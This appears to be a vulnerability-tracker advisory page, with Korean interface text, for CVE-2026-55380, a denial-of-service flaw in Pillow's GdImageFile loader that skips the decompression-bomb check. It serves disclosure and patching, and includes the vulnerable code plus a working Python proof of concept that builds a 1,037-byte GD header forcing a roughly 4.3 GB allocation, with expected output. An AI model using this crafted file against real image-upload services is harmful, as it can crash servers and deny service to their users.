Kestrel
대시보드로 돌아가기
CVE-2026-55380HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 06.수정일: 2026. 07. 20.

Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 65.7%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

python
1def _open(self) -> None:
2 s = self.fp.read(1037)
3 if i16(s) not in [65534, 65535]:
4 raise SyntaxError("Not a valid GD 2.x .gd file")
5 self._mode = "P"
6 self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each
7 # NO _decompression_bomb_check() call here ←
8 ...
9 self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

bash
1load() → load_prepare() → Image.core.new("P", (65535, 65535))
2# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

FieldValue
Maximum width from header65,535 (unsigned 16-bit)
Maximum height from header65,535 (unsigned 16-bit)
Maximum pixel count65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio24× above DecompressionBombError threshold
Memory at max dimensions≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

bash
1# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
2self._size = i32(header, 32), i32(header, 36)
3Image._decompression_bomb_check(self.size) # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

python
1#!/usr/bin/env python3
2"""
3PoC: GdImageFile decompression bomb bypass
41037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
5"""
6import io, struct
7from PIL import GdImageFile, Image
8
9# Build minimal 1037-byte GD 2.x palette-mode header:
10# sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
11sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic
12w = struct.pack(">H", 65535) # max width
13h = struct.pack(">H", 65535) # max height
14true_color = b"\x00" # 0 = palette mode
15tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency
16colors_used = b"\x00\x00"
17palette_data = b"\x00" * 1024
18header = sig + w + h + true_color + tindex + colors_used + palette_data
19assert len(header) == 1037
20
21# Confirm: standard Image.open() path BLOCKS this size
22try:
23 Image._decompression_bomb_check((65535, 65535))
24except Image.DecompressionBombError as e:
25 print(f"[BLOCKED] Image.open() path: {e}")
26
27# Vulnerable path: GdImageFile.open() has NO bomb check
28img = GdImageFile.open(io.BytesIO(header))
29print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
30print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked")
31
32# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
33try:
34 img.load()
35except OSError:
36 print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")
37
38print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
39print(f"[MATH] Attack file: 1,037 bytes only")

Expected output:

text
1[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
2pixels, could be decompression bomb DOS attack.
3[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
4 No _decompression_bomb_check called — 4.3 GB allocation not blocked
5[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted
6
7[MATH] 4,294,836,225 pixels = 24.0× error threshold
8[MATH] Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

PathFile sizeEffect
Transient (header only)1,037 bytesload_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data)~4.3 GBload() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

python
1from PIL import GdImageFile
2
3# Application accepts user-uploaded .gd files
4img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check
5img.load() # triggers 4.3 GB C-heap allocation

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.